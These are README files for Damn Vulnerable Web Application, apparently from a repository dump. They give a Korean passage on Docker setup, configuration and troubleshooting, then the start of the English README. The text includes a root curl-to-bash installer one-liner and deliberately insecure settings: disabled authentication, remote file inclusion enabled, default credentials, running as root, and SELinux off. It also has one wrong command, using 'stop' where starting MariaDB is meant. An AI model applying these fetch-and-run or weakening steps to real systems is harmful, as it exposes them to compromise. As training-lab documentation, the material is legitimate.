검색 엔진을 사용하는 것이 좋습니다.\n\n그런 다음 시작하려면:\n\n1. `docker version` 및 `docker compose version`을 실행하여 Docker 및 Docker Compose가 제대로 설치되었는지 확인하세요. 출력에서 해당 버전을 확인할 수 있어야 합니다.\n\n    예를 들어:\n\n    ```text\n    >>> docker version\n    Client:\n     [...]\n     Version:           23.0.5\n     [...]\n\n    Server: Docker Desktop 4.19.0 (106363)\n     Engine:\n      [...]\n      Version:          23.0.5\n      [...]\n\n    >>> docker compose version\n    Docker Compose version v2.17.3\n    ```\n\n    아무것도 표시되지 않거나 명령어를 찾을 수 없다는 오류가 발생하면 Docker 및 Docker Compose를 설정하기 위한 필수 조건을 따르세요.\n\n2. 이 리포지토리를 클론하거나 다운로드하여 압축을 풉니다 (참조 [다운로드](#download)).\n3. 선택한 터미널을 열고 작업 디렉터리를 이 폴더(`DVWA`)로 변경합니다.\n4. `docker compose up -d`를 실행합니다.\n\n이제 DVWA는 `http://localhost:4280`에서 사용할 수 있습니다.\n\n**컨테이너에서 DVWA를 실행할 때, 웹 서버는 일반적인 포트 80 대신 포트 4280에서 수신 대기하고 있습니다.**\n이 결정에 대한 자세한 내용은 [다른 포트에서 DVWA를 실행하고 싶습니다](#i-want-to-run-dvwa-on-a-different-port)를 참조하세요.\n\n#### 로컬 빌드\n\n로컬에서 변경 사항을 적용하고 프로젝트를 빌드하려면 `compose.yml` 파일에서 `pull_policy: always`를 `pull_policy: build`로 변경하십시오.\n\n`docker compose up -d`를 실행하면 레지스트리에 무엇이 있든 상관없이 Docker가 로컬에서 이미지를 빌드하도록 트리거됩니다.\n\n참조: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n### PHP 버전\n\n이상적으로는 최신 안정 버전의 PHP를 사용하는 것이 좋습니다. 이는 이 앱이 개발 및 테스트되는 버전입니다.\n\nPHP 5.x를 사용하려는 사람에게는 지원이 제공되지 않습니다.\n\n7.3 미만의 버전은 문제가 발생할 수 있는 알려진 이슈가 있으며, 대부분의 앱은 작동하겠지만 무작위로 문제가 발생할 수 있습니다. 아주 좋은 이유가 없는 한, 그렇게 오래된 버전을 사용하는 경우 지원이 제공되지 않습니다.\n\n### Linux 패키지\n\nDebian 기반 Linux 배포판을 사용하는 경우, 다음 패키지 _(또는 이에 상응하는 것)_ 를 설치해야 합니다:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php\n- php-mysqli\n- php-gd\n\n모든 최신 버전을 받기 위해 설치 전에 업데이트를 수행하는 것이 좋습니다.\n\n```\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\n이 사이트는 MariaDB 대신 MySQL로도 작동하지만, MySQL을 올바르게 작동시키기 위해 변경해야 하는 반면, MariaDB는 별다른 설정 없이 바로 작동하므로 MariaDB를 강력히 추천합니다.\n\n## 구성\n\n### 설정 파일\n\nDVWA에는 해당 위치에 복사한 다음 적절한 변경 사항을 가할 필요가 있는 설정 파일의 더미 복사본이 함께 제공됩니다. 리눅스에서는 DVWA 디렉토리에 있는 것으로 가정하면 다음과 같이 수행할 수 있습니다:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nWindows에서는 파일 확장자를 숨기는 경우 조금 더 어려울 수 있습니다. 이에 대해 자세히 알아보려면 다음 블로그 포스트를 참조하세요:\n\n[Windows에서 파일 확장자 표시하는 방법](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### 데이터베이스 설정\n\n데이터베이스를 설정하려면, 단순히 주 메뉴의 `Setup DVWA` 버튼을 클릭한 다음 `Create / Reset Database` 버튼을 클릭하면 됩니다. 이렇게 하면 데이터베이스가 생성되거나 재설정되며 일부 데이터가 포함됩니다.\n\n데이터베이스를 생성하는 동안 오류가 발생하면 `./config/config.inc.php` 내의 데이터베이스 자격 증명이 올바른지 확인하십시오. *이는 예제 파일인 config.inc.php.dist와 다릅니다.*\n\n변수는 다음과 같이 기본값으로 설정됩니다:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\n참고로, MySQL 대신 MariaDB를 사용하는 경우 (Kali의 기본값은 MariaDB입니다), 데이터베이스 루트 사용자를 사용할 수 없으므로 새 데이터베이스 사용자를 생성해야 합니다. 이를 위해 루트 사용자로 데이터베이스에 연결한 다음 다음 명령을 사용하십시오:\n\n```mysql\nmysql> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### 인증 비활성화\n\n일부 도구는 인증을 사용할 수 없으므로 DVWA와 함께 사용할 수 없습니다. 이를 해결하기 위해 인증 확인을 비활성화하는 구성 옵션이 있습니다. 이를 위해 설정 파일에서 다음을 설정하면 됩니다:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\n또한 테스트하려는 내용에 적합한 보안 수준으로 보안 수준을 설정해야 합니다:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\n이 상태에서는 로그인할 필요 없이 모든 기능에 액세스할 수 있습니다.\n\n### 폴더 권한\n\n* `./hackable/uploads/` - 웹 서비스에 의해 쓰기 가능해야 합니다 (파일 업로드를 위해).\n\n### PHP 구성\n\n리눅스 시스템에서는 일반적으로 `/etc/php/x.x/fpm/php.ini` 또는 `/etc/php/x.x/apache2/php.ini`에서 찾을 수 있습니다.\n\n* 원격 파일 포함 (RFI)을 허용하려면:\n    * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n    * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n* PHP가 모든 오류 메시지를 표시하도록 하려면:\n    * `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n    * `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\n변경 사항을 적용한 후 php 서비스 또는 Apache를 다시 시작하는지 확인하세요.\n\n### reCAPTCHA\n\n이는 \"Insecure CAPTCHA\" 랩에서만 필요하며 해당 랩을 사용하지 않는다면 이 섹션을 무시할 수 있습니다.\n\n<https://www.google.com/recaptcha/admin/create>에서 API 키 쌍을 생성합니다.\n\n그런 다음 이 키는 `./config/config.inc.php`의 다음 섹션에 들어갑니다:\n\n* `$_DVWA[ 'recaptcha_public_key' ]`\n* `$_DVWA[ 'recaptcha_private_key' ]`\n\n### 기본 자격 증명\n\n**기본 사용자 이름 = `admin`**\n\n**기본 암호 = `password`**\n\n_... 쉽게 브루트 포스될 수 있음 ;)_\n\n로그인 URL: http://127.0.0.1/login.php\n\n_참고: DVWA를 다른 디렉토리에 설치한 경우 이 URL이 다를 수 있습니다._\n\n\n- - -\n\n## 문제 해결\n\n이 문제 해결 방법은 Debian 기반 배포판인 Debian, Ubuntu 및 Kali를 사용한다고 가정합니다. 다른 배포판의 경우 해당 명령을 업데이트하여 따르세요.\n\n### 컨테이너\n\n#### 로그에 접근하고 싶어요\n\nDocker Desktop을 사용하는 경우 로그는 그래픽 애플리케이션에서 접근할 수 있습니다.\n새로운 버전에서 약간의 세부 사항이 변경될 수 있지만 접근 방법은 동일해야 합니다.\n\n![DVWA compose 개요](./docs/graphics/docker/overview.png)\n![DVWA 로그 보기](docs/graphics/docker/detail.png)\n\n로그는 터미널에서도 확인할 수 있습니다.\n\n1. 터미널을 열고 작업 디렉토리를 DVWA로 변경하세요.\n2. 병합된 로그 표시\n\n    ```shell\n    docker compose logs\n    ```\n\n   로그를 파일로 내보내려는 경우, 예를 들어 `dvwa.log`\n\n   ```shell\n   docker compose logs >dvwa.log\n   ```\n\n#### 다른 포트에서 DVWA 실행하고 싶어요\n\n기본적으로 포트 80을 사용하지 않는 이유는 몇 가지 있습니다.\n\n- 일부 사용자는 이미 포트 80에서 무언가를 실행 중일 수 있습니다.\n- 일부 사용자는 루트리스 컨테이너 엔진(예: Podman)을 사용할 수 있으며 80은 특권 포트(< 1024)입니다. 추가 구성(예: `net.ipv4.ip_unprivileged_port_start` 설정)이 필요하지만 직접 조사해야 합니다.\n\n`compose.yml` 파일에서 포트 바인딩을 변경하여 DVWA를 다른 포트에서 노출할 수 있습니다.\n예를 들어,\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\n를\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\n\n로 변경할 수 있습니다.\n\nDVWA는 이제 `http://localhost:8806`에서 접근할 수 있습니다.\n\n디바이스에서만 독점적으로 DVWA에 액세스하고 싶을 때가 있습니다(예: 워크샵을 위한 테스트 머신을 설정하는 경우), 로컬 네트워크에서도 액세스할 수 있도록 하려면 포트 매핑에서 `127.0.0.1:`을 제거하거나(또는 LAN IP로 대체)하세요. 이렇게 하면 모든 사용 가능한 디바이스에서 수신됩니다. 안전한 기본 설정은 항상 로컬 루프백 디바이스에서만 수신하는 것입니다. 결국, 이것은 사용자의 머신에서 실행되는 위험한 웹 응용 프로그램입니다.\n\n#### Docker 실행 시 DVWA 자동 시작\n\n포함된 [`compose.yml`](./compose.yml) 파일은 Docker가 시작될 때 자동으로 DVWA와 해당 데이터베이스를 실행합니다.\n\n이 기능을 비활성화하려면 [`compose.yml`](./compose.yml) 파일에서 `restart: unless-stopped` 라인을 삭제하거나 주석 처리하세요.\n\n이 동작을 일시적으로 비활성화하려면 `docker compose stop`을 실행하거나 Docker Desktop을 사용하여 `dvwa`를 찾아 중지를 클릭하세요.\n또는 컨테이너를 삭제하거나 `docker compose down`을 실행할 수 있습니다.\n\n### 로그 파일\n\n리눅스 시스템에서는 Apache가 기본적으로 두 가지 로그 파일을 생성합니다. `access.log`와 `error.log`로, 데비안 기반 시스템에서는 보통 `/var/log/apache2/`에 있습니다.\n\n에러 보고서, 문제 등을 제출할 때, 적어도 각각의 파일의 마지막 다섯 줄을 포함해야 합니다. 데비안 기반 시스템에서는 다음과 같이 가져올 수 있습니다.\n\n```\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### 사이트에 접속하여 404 오류가 발생했습니다\n\n이 문제가 발생하면 파일 위치를 이해해야 합니다. 기본적으로 Apache 문서 루트(웹 콘텐츠를 찾는 곳)는 `/var/www/html`입니다. 이 디렉토리에 파일 `hello.txt`을 넣은 경우에는 `http://localhost/hello.txt`로 접속해야 합니다.\n\n디렉토리를 만들고 파일을 넣은 경우 - `/var/www/html/mydir/hello.txt` - 그러면 `http://localhost/mydir/hello.txt`로 접속해야 합니다.\n\n리눅스는 기본적으로 대소문자를 구분하므로 위의 예에서는 다음에 대한 `404 Not Found`가 발생합니다.\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\n이것이 DVWA에 어떻게 영향을 미치는가요? 대부분의 사람들은 DVWA를 `/var/www/html`에 체크아웃하기 때문에 모든 DVWA 파일이 들어 있는 `/var/www/html/DVWA/` 디렉토리가 생깁니다. 그런 다음 `http://localhost/`로 접속하면 `404` 또는 기본 Apache 환영 페이지를 받게 됩니다. 파일이 DVWA에 있으므로 `http://localhost/DVWA`로 접속해야 합니다.\n\n다른 흔한 실수는 `http://localhost/dvwa`로 접속하는 것입니다. 이는 리눅스 디렉토리 매칭에 따라 `dvwa`가 `DVWA`가 아니기 때문에 `404`가 발생합니다.\n\n따라서 설치 후에 사이트에 접속하여 `404`를 받는 경우, 파일을 어디에 설치했는지, 문서 루트와의 관계는 무엇인지, 사용한 디렉토리의 경우를 고려하세요.\n\n### 설정 실행 중 \"Access denied\" 오류가 발생했습니다\n\n설치 스크립트를 실행하는 도중 다음을 보게 되면, 설정 파일의 사용자 이름 또는 비밀번호가 데이터베이스에 구성된 것과 일치하지 않는다는 것입니다.\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\n이 오류는 사용자 이름이 `notdvwa`임을 알려줍니다.\n\n다음 오류는 설정 파일을 잘못된 데이터베이스에 연결한 것입니다.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\n이것은 사용자가 `dvwa` 사용자를 사용하고 `notdvwa` 데이터베이스에 연결하려고 시도했다고 말하고 있습니다.\n\n첫 번째 할 일은 설정 파일에 입력한 것이 실제로 있는지 확인하는 것입니다.\n\n예상한 대로 맞는다면, 다음으로 할 일은 명령 줄에서 사용자로 로그인할 수 있는지 확인하는 것입니다. 데이터베이스 사용자가 `dvwa`이고 암호가 `p@ssw0rd`인 경우 다음 명령을 실행하세요.\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*참고: `-p` 뒤에 공백이 없습니다.*\n\n다음과 같이 보인다면, 암호가 올바릅니다.\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\n명령 줄에서 연결할 수 있다면, 설정 파일에 무엇인가 잘못된 것이 있을 확률이 높습니다. 그러면 설정을 다시 확인한 후 문제를 해결할 수 없으면 문제를 제기하세요.\n\n다음과 같은 내용을 보게 되면 사용자 이름 또는 비밀번호가 잘못되었습니다. [Database Setup](#database-setup) 단계를 반복하고 전체 과정에서 동일한 사용자 이름과 암호를 사용했는지 확인하세요.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\n다음과 같은 내용을 보게 되면 사용자 자격 증명은 올바르지만 사용자가 데이터베이스에 액세스할 수 없습니다. 다시 설정 단계를 반복하고 사용 중인 데이터베이스 이름을 확인하세요.\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\n마지막으로 다음과 같은 오류를 볼 수 있습니다.\n\n```\nERROR 2002 (HY000): 로컬 MySQL 서버에 소켓 '/var/run/mysqld/mysqld.sock'을(를) 통해 연결할 수 없습니다 (2)\n```\n\n이것은 인증 문제가 아니라 데이터베이스 서버가 실행되지 않았음을 나타냅니다. 다음 명령으로 시작하세요.\n\n```sh\nsudo service mysql start\n```\n\n### 연결 거부\n\n다음과 유사한 오류가 발생하는 경우:\n\n```\nFatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\n데이터베이스 서버가 실행되지 않거나 구성 파일에 잘못된 IP 주소가 있는 것을 의미합니다.\n\n구성 파일에서 데이터베이스 서버가 예상되는 위치를 확인하려면 이 줄을 확인하십시오:\n\n```\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\n그런 다음이 서버로 이동하여 실행 중인지 확인하십시오. Linux에서는 다음과 같이 수행할 수 있습니다:\n\n```\nsystemctl status mariadb.service\n```\n\n다음과 같은 내용을 찾으시면 됩니다. 중요한 부분은 `active (running)`이라고 명시된 부분입니다.\n\n```\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\n실행 중이 아니라면 다음과 같이 시작할 수 있습니다:\n\n```\nsudo systemctl stop mariadb.service \n```\n\n`sudo`에 유의하고 요청 시 Linux 사용자 암호를 입력하십시오.\n\nWindows에서는 XAMPP 콘솔에서 상태를 확인하십시오.\n\n### 알려지지 않은 인증 방법\n\n가장 최신 버전의 MySQL에서 PHP는 기본 구성으로 데이터베이스와 통신할 수 없게 되었습니다. 설정 스크립트를 실행하려고 하고 다음 메시지가 표시되는 경우 구성이 잘못되었음을 의미합니다.\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\n두 가지 옵션이 있습니다. 가장 쉬운 방법은 MySQL을 제거하고 MariaDB를 설치하는 것입니다. 다음은 MariaDB 프로젝트의 공식 가이드입니다:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\n또는 다음 단계를 따르세요:\n\n1. 루트로 다음 파일을 편집하십시오: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n2. `[mysqld]` 아래에 다음을 추가하십시오:\n   `default-authentication-plugin=mysql_native_password`\n3. 데이터베이스를 다시 시작하십시오: `sudo service mysql restart`\n4. 데이터베이스 사용자의 인증 방법을 확인하십시오:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n5. `caching_sha2_password`를 보게 될 것입니다. 그렇다면 다음 명령을 실행하십시오:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n6. 다시 확인을 실행하면 이제 `mysql_native_password`를 볼 수 있어야 합니다.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\n이 모든 과정을 거친 후 설정 프로세스가 정상적으로 작동해야 합니다.\n\n더 많은 정보가 필요하면 다음 페이지를 참조하십시오: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### 데이터베이스 오류 #2002: 해당 파일 또는 디렉터리가 없습니다.\n\n데이터베이스 서버가 실행되지 않습니다. Debian 기반 배포판에서는 다음 명령을 사용하여 실행할 수 있습니다:\n\n```sh\nsudo service mysql start\n```\n\n### \"MySQL 서버가 종료되었습니다\" 및 \"패킷 순서가 잘못되었습니다\" 오류\n\n이러한 오류가 발생하는 몇 가지 이유가 있지만, 가장 가능성이 높은 이유는 실행 중인 데이터베이스 서버 버전이 PHP 버전과 호환되지 않기 때문입니다.\n\n이는 MySQL의 최신 버전을 실행 중일 때 가장 흔하게 발생하는 현상입니다. PHP와 MySQL이 잘 동작하지 않습니다. 가장 좋은 조언은 MySQL을 버리고 MariaDB를 설치하는 것입니다. 이는 우리가 지원할 수 없는 문제입니다.\n\n더 많은 정보는 다음을 참조하십시오:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### 명령 삽입이 작동하지 않습니다\n\nApache가 웹 서버에서 명령을 실행할 충분한 권한을 갖고 있지 않을 수 있습니다. Linux에서 DVWA를 실행 중인 경우 root로 로그인했는지 확인하십시오. Windows에서는 관리자로 로그인하십시오.\n\n### CentOS에서 데이터베이스가 연결되지 않는 이유는 무엇입니까?\n\nSELinux와 관련된 문제로 인해 문제가 발생할 수 있습니다. SELinux를 비활성화하거나 다음 명령을 실행하여 웹 서버가 데이터베이스와 통신할 수 있도록 합니다:\n\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### 그 외 문제\n\n최신 문제 해결 정보를 위해 git 저장소의 열린 및 닫힌 티켓을 모두 읽어보십시오:\n\n<https://github.com/digininja/DVWA/issues>\n\n티켓을 제출하기 전에 저장소에서 최신 코드를 실행 중인지 확인하십시오. 이것은 최신 릴리스가 아니라 master 브랜치의 최신 코드입니다.\n\n티켓을 제출할 때 다음 정보를 적어도 제출하십시오:\n\n- 운영 체제\n- 오류가 발생한 직후 웹 서버 오류 로그의 마지막 5줄\n- 데이터베이스 인증 문제인 경우 위의 단계를 따라서 각 단계의 스크린샷을 찍어 제출하십시오. 이것들을 데이터베이스 사용자 및 암호가 표시된 구성 파일 섹션의 스크린샷과 함께 제출하십시오.\n- 문제가 발생한 상황에 대한 완전한 설명, 기대하는 동작 및 문제를 해결하기 위해 시도한 내용에 대한 설명입니다. \"로그인이 고장나 있음\"만으로는 문제를 이해하고 해결하는 데 충분하지 않습니다.\n\n- - -\n\n## 튜토리얼\n\n일부 취약점을 식별하고 그것을 감지하고 그것을 악용하는 방법을 보여주는 튜토리얼 비디오를 만들어 보겠습니다. 지금까지 제작한 튜토리얼은 다음과 같습니다:\n\n[Reflected XSS 찾기 및 악용하기](https://youtu.be/V4MATqtdxss)\n\n- - -\n\n## SQLite3 SQL Injection\n\n_SQL Injection과 Blind SQL Injection은 기본적으로 사이트에서 사용하는 MariaDB/MySQL 서버에 대해 수행됩니다. 그러나 SQLite3에 대한 SQL Injection 테스트를 수행할 수도 있습니다._\n\n_SQLite3를 PHP와 함께 작동시키는 방법에 대해 다루지 않겠지만, `php-sqlite3` 패키지를 설치하고 활성화하는 것으로 간단히 설정할 수 있습니다._\n\n_전환하기 위해 구성 파일을 수정하고 다음 라인을 추가하거나 편집하십시오:_\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\n_기본적으로 `database/sqli.db` 파일을 사용하며, 문제가 발생하면 단순히 `database/sqli.db.dist` 파일을 덮어쓰면 됩니다._\n\n_도전 과제는 MySQL과 정확히 동일하며, SQLite3에서 실행됩니다._\n\n- - -\n\n👨‍💻 기여자\n-----\n\n_모든 기여하신 분들께 감사드립니다. :heart:_\n\n_아이디어, 개선 사항 또는 단순히 협력하고자 하시면 언제든지 기여하고 프로젝트에 참여할 수 있습니다. PR을 보내 주시기 바랍니다._\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## 취약점 보고\n\n_간단히 말해서, 부디 그러지 마십시오!_\n\n_매년 누군가가 앱에서 발견한 취약점을 보고하는 경우가 있습니다. 어떤 것은 잘 쓰여진 보고서이며 유료 펜 테스트 보고서보다 나을 때도 있습니다. 어떤 것은 그저 \"헤더가 누락되었습니다, 제게 돈을 주세요\"입니다._\n\n_2023년에는 누군가가 CVE 요청을 통해 하나의 취약점에 대한 CVE를 받았습니다. 그들에게 [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848)가 부여되었습니다. 많은 재미있는 일이 일어나고 시간이 소비되었습니다._\n\n_앱에는 취약점이 있습니다. 이는 고의입니다. 대부분은 교훈으로 작동하는 잘 알려진 것들이며, 다른 것들은 \"숨겨진\" 것들입니다. 당신의 기술로 숨겨진 추가 기능을 찾아내고 싶다면, 블로그 포스트를 작성하거나 비디오를 만들어 찾은 방법 및 이들을 알아보는 사람들이 있을 수 있습니다. 우리에게 링크를 보내주시면 참조 목록에 포함할 수도 있습니다._\n\n## 링크\n\n프로젝트 홈: <https://github.com/digininja/DVWA>\n\n*DVWA 팀 제작*"
  },
  {
    "path": "README.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDamn Vulnerable Web Application (DVWA) is a PHP/MariaDB web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.\n\nThe aim of DVWA is to **practice some of the most common web vulnerabilities**, with **various levels of difficulty**, with a simple straightforward interface.\nPlease note, there are **both documented and undocumented vulnerabilities** with this software. This is intentional. You are encouraged to try and discover as many issues as possible.\n- - -\n\n## WARNING!\n\nDamn Vulnerable Web Application is damn vulnerable! **Do not upload it to your hosting provider's public html folder or any Internet facing servers**, as they will be compromised. It is recommended using a virtual machine (such as [VirtualBox](https://www.virtualbox.org/) or [VMware](https://www.vmware.com/)), which is set to NAT networking mode. Inside a guest machine, you can download and install [XAMPP](https://www.apachefriends.org/) for the web server and database.\n\n### Disclaimer\n\nWe do not take responsibility for the way in which any one uses this application (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA, it is not our responsibility, it is the responsibility of the person/s who uploaded and installed it.\n\n- - -\n\n## License\n\nThis file is part of Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nDamn Vulnerable Web Application (DVWA) is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Damn Vulnerable Web Application (DVWA).  If not, see <https://www.gnu.org/licenses/>.\n\n- - -\n\n## Internationalisation\n\nThis file is available in multiple languages:\n\n- Arabic: [العربية](README.ar.md)\n- Chinese: [简体中文](README.zh.md)\n- French: [Français](README.fr.md)\n- Korean: [한국어](README.ko.md)\n- Persian: [فارسی](README.fa.md)\n- Polish: [Polski](README.pl.md)\n- Portuguese: [Português](README.pt.md)\n- Spanish: [Español](README.es.md)\n- Turkish: [Türkçe](README.tr.md)\n- Indonesia: [Indonesia](README.id.md)\n- Vietnamese: [Vietnamese](README.vi.md)\n- Italian: [Italiano](README.it.md)\n- Ukrainian: [Українська](README.uk.md)\n- Russian: [Русский](README.ru.md)\n\nIf you would like to contribute a translation, please submit a PR. Note though, this does not mean just run it through Google Translate and send that in, those will be rejected. Submit your translated version by adding a new 'README.xx.md' file where xx is the two-letter code of your desired language (based on [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n- - -\n\n## Download\n\nWhile there are various versions of DVWA around, the only supported version is the latest source from the official GitHub repository. You can either clone it from the repo:\n\n```sh\ngit clone https://github.com/digininja/DVWA.git\n```\n\nOr [download a ZIP of the files](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Installation\n\n### Automated Installation 🛠️\n\n**Note, this is not an official DVWA script, it was written by [IamCarron](https://github.com/iamCarron/). A lot of work went into creating the script and, when it was created, it did not do anything malicious, however it is recommended you review the script before blindly running it on your system, just in case. Please report any bugs to [IamCarron](https://github.com/iamCarron/), not here.**\n\nAn automated configuration script for DVWA on Debian-based machines, including Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS...\n\n**Note: This script requires root privileges and is tailored for Debian-based systems. Ensure you are running it as the root user.**\n\n#### Installation Requirements\n\n- **Operating System:** Debian-based system (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS)\n- **Privileges:** Execute as root user\n\n#### Installation Steps\n\n##### One-Liner\n\nThis will download an install script written by [@IamCarron](https://github.com/IamCarron) and run it automatically. This would not be included here if we did not trust the author and the script as it was when we reviewed it, but there is always the chance of someone going rogue, and so if you don't feel safe running someone else's code without reviewing it yourself, follow the manual process and you can review it once downloaded.\n\n```sh\nsudo bash -c \"$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)\"\n```\n\n##### Manually Running the Script\n\n1. **Download the script:**\n\n   ```sh\n   wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh\n   ```\n\n2. **Make the script executable:**\n\n   ```sh\n   chmod +x Install-DVWA.sh\n   ```\n\n3. **Run the script as root:**\n\n   ```sh\n   sudo ./Install-DVWA.sh\n   ```\n\n### Installation Videos\n\n- [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Installing DVWA on Windows using XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nThe easiest way to install DVWA is to download and install [XAMPP](https://www.apachefriends.org/) if you do not already have a web server setup.\n\nXAMPP is a very easy to install Apache Distribution for Linux, Solaris, Windows and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, a FTP server and phpMyAdmin.\n\nThis [video](https://youtu.be/Yzksa_WjnY0) walks you through the installation process for Windows but it should be similar for other OSs.\n\n### Docker\n\nThanks to [hoang-himself](https://github.com/hoang-himself) and [JGillam](https://github.com/JGillam), every commit to the `master` branch causes a Docker image to be built and ready to be pulled down from GitHub Container Registry.\n\nFor more information on what you are getting, you can browse [the prebuilt Docker images](https://github.com/digininja/DVWA/pkgs/container/dvwa).\n\n#### Getting Started\n\nPrerequisites: Docker and Docker Compose.\n\n- If you are using Docker Desktop, both of these should be already installed.\n- If you prefer Docker Engine on Linux, make sure to follow their [installation guide](https://docs.docker.com/engine/install/#server).\n\n**We provide support for the latest Docker release as shown above.**\nIf you are using Linux and the Docker package that came with your package manager, it will probably work too, but support will only be best-effort.\n\nUpgrading Docker from the package manager version to upstream requires that you uninstall the old versions as seen in their manuals for [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) and others.\nYour Docker data (containers, images, volumes, etc.) should not be affected, but in case you do run into a problem, make sure to [tell Docker](https://www.docker.com/support) and use search engines in the mean time.\n\nThen, to get started:\n\n1. Run `docker version` and `docker compose version` to 